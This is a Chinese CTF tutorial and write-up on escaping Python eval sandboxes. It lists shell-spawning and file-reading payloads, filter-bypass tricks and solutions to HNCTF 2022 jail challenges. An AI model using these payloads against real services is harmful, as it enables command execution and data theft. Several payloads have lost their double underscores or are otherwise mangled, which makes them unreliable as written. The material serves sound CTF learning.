标签：__ Python import print eval pyjail 沙箱 input ___

参考链接：
https://note.tonycrane.cc/ctf/misc/escapes/pysandbox/
https://ctf-wiki.org/pwn/sandbox/python/python-sandbox-escape/
https://www.cnblogs.com/mumuhhh/p/17811377.html
https://www.bilibili.com/video/av1506392148/
https://dummykitty.github.io/python/2023/05/29/python-沙箱逃逸原理.html

来自CTFWiki的解释：所谓沙箱逃逸就是绕过模拟的python终端，最终实现命令执行

Python特性，魔术方法及魔术属性

Python所有的类均继承自object基类，python中的一切都是对象特性，带有继承的特性更多

魔术方法	魔术属性
init	对象初始化方法，在创建对象时调用
repr	返回对象的"官方"字符串表达式
str	返回对象的"非正式"或友好字符串表达式
len	返回对象长度
getitem	获取对象指定键的值
setitem	设置对象指定键的值
delitiem	删除对象指定键的值
iter	返回一个迭代器对象
contains	检查对象是否包含指定元素
call	实例对象作为函数调用时调用
base	返回当前类的基类，如str.__base__会返回<class 'object'>
subclasses()	查看当前子类组成列表
builtins	以一个集合形式查看其引用
getattr,setattr,delattr	处理对象属性获取，设置和删除
enter,exit	定义在使用with语句时对象上下文管理行为
globals	返回所有全局变量的函数
locals	返回所有局部变量的函数
import	载入模块的函数，例如import os等价于os=import('os')
file	该变量指示当前运行代码所在路径
_	该变量返回上一次运行python语句结果，注意：该变量仅在运行交互式终端时产生，在运行代码文件时不会有此变量
chr,ord	字符与ASCII码转换函数
dir	查看对象属性和方法
doc	类的帮助文档，默认类均有帮助文档，对于自定义类，需要自己实现

Pyjail基础解法，payload构造

Python导入模块的三种方法：

import xxx
from xxx import
import('xxx')
附加：路径引用，例如：import sys->sys.modules['os']='/user/lib/python2.7/os.py->import os

基础payload

print(open('/flag').read())
__import__('os').system('cat flag')
__import__('os').system('sh')
#读文件
().__class__.__bases__[0].__subclasses__()[40]('\etc\password').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input','w').write('')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')

eval和evec

eval(expression[, globals[, locals]])
exec(expression[, globals[, locals]])
'''
用法基本相似，
expression执行表达式，
globals全局变量(必须字典)，
locals局部变量(任意mapping object，一般是字典)
不同点：
eval将表达式计算出来，结果返回，不会影响当前环境
exec将表达式作为py语句运行，可以进行赋值等操作(题目中不常见)
'''

使globals，locals为空字典访问不到全局变量和局部变量，从而构造沙箱
ast.literal_eval更加的安全，因此题目碰到这个基本就不是沙箱逃逸了

Pyjail绕过方法

基于长度限制的绕过

help
输入help()，这里字符串长度6会进入正常调用eval函数，在help交互式下，输入任意模块名称得该模块的帮助文档，如sys，在Linux中，呈现帮助文档时，实际调用系统的less或more命令，利用这两个命令执行本地命令特性获取shell，继续按#！，执行外部命令sh即可(!ls,!cat flag)
breakpoint()
该函数在程序执行任何位置调用，当程序执行到这个位置时，它将暂停并打开交互式调试器
list input_data = import('os').system('sh')
多次交互进行拼接
"_"函数字符拼接
'00'
_+' aaa'
+' bbb'
eval()

基于字符串匹配过滤的绕过

所有数字被禁用

函数返回
0：int(bool([]))，Flase，len([])，any(())
1：int(bool([""]))，True，all(())，int(list(dict(aɔ=())).pop()).pop())
字符串取整
len(repr(True))，len(repr(bytearray))
len+dict+list
0->len([])
2->len(list(dict(aa=()))[len([])])
3->len(list(dict(aaa=()))[len([])])
属性名，过滤class，import等
getattr函数：获取对象属性和方法
__getattribute__函数
__getattr__函数
__globals__替换
mro,bases,__base__互换

基于多行限制的绕过

exec
eval("exec('import("os")\nprint(1)')")
compile
eval('''eval(compile('print("hello world");print("heyy")','','exec'))''')
海象表达式
eval('[a:=import("os"),b:=a.system("id")]')

基于模块删除绕过

基于继承链获取
所有类的基类都是object
查看变量所属的类(().class)
根据变量的类得到其所属的类(().class.bases)
反查object类的子类组成列表(().class.bases[0].subclasses())
(().class.base.subclasses())
获取当前Python环境中所有对象的子类列表
[].class.base.subclasses()[40]获得第40个子类

python2与python3差异
python2中file类可以直接用来读取文件
[].class.bases[0].subclasses()40.read()
python3中file类已经没有了，用<class'_frozen_importlib_external.FileLoader'>读取文件
{{().class.bases[0].subclasses()[79]"get_data"}}
{{().class.bases[0].subclasses()79.communicate()[0]}}

内建函数eval函数执行命令
{{".class.bases[0].subclasses()[166].init.globals__['builtins']'eval'}}
几个含有eval函数的类：
warings.catch_warnings
WaringMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

unicode绕过

Python3开始支持非ASCII字符的标识符，也就是说，可以使用Unicode字符作为Python变量名，函数名等。python在解析代码时，可以使用Unicode Normalization From KC(NTKC)规范化算法，将一些视觉上相似的Unicode字符统一为一个标准化

input

python2中，input函数从标准输入接收输入并自动eval求值，返回所求值；raw_input函数从标准输入接收输入，返回输入字符串
python3中，input函数从标准输入接收输入返回输入字符串
python2 input() = python2 eval(raw_input()) = python3 eval(input())
对于python2的input,相当于存在命令执行，可以rce

获取全局变量的方法

函数利用：vars()，globals()
help()：进入help，查__main__

例题

[HNCTF 2022 Week1]calc_jail_beginner(JAIL)

#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
  _     ______      _                              _       _ _ 
 | |   |  ____|    (_)                            | |     (_) |
 | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
 | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
 | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
 |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
               __/ |                                           
              |___/                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

签到，open('flag').read()

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

过滤部分符号，之前有讲过字符串匹配，运用chr方法拼接，open(chr(102)+chr(108)+chr(97)+chr(103)).read()

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

#the length is be limited less than 13
#it seems banned some payload 
#Can u escape it?Good luck!

WELCOME = '''
  _                _                           _       _ _   _                _ ___  
 | |              (_)                         (_)     (_) | | |              | |__ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |  ) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | / / 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |/ /_ 
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____|
              __/ |                          _/ |                                    
             |___/                          |__/                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

限制输入长度小于等于13，直接使用eval方法逃逸，eval(input())进入交互状态，open('flag').read()

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

#!/usr/bin/env python3
WELCOME = '''
  _                _                           _       _ _   _                _ ____  
 | |              (_)                         (_)     (_) | | |              | |___ \ 
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | __) |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ ||__ < 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|____/ 
              __/ |                          _/ |                                     
             |___/                          |__/                                                                                       
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload 
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

依旧是限制输入长度，这次限制更高要小于等于7，想到之前讲到的help()方法，赶紧试一下

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

禁用"exec","input","eval"并且输入限制小于等于13，使用help()方法发现在进入！阶段会出现错误，想想我们还有unicode方法
这里粘贴一个unicode脚本：

from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

用

标签：__,Python,import,print,eval,pyjail,沙箱,input,___
From： https://www.cnblogs.com/N1ng/p/18491520

Python沙箱逃逸(pyjail)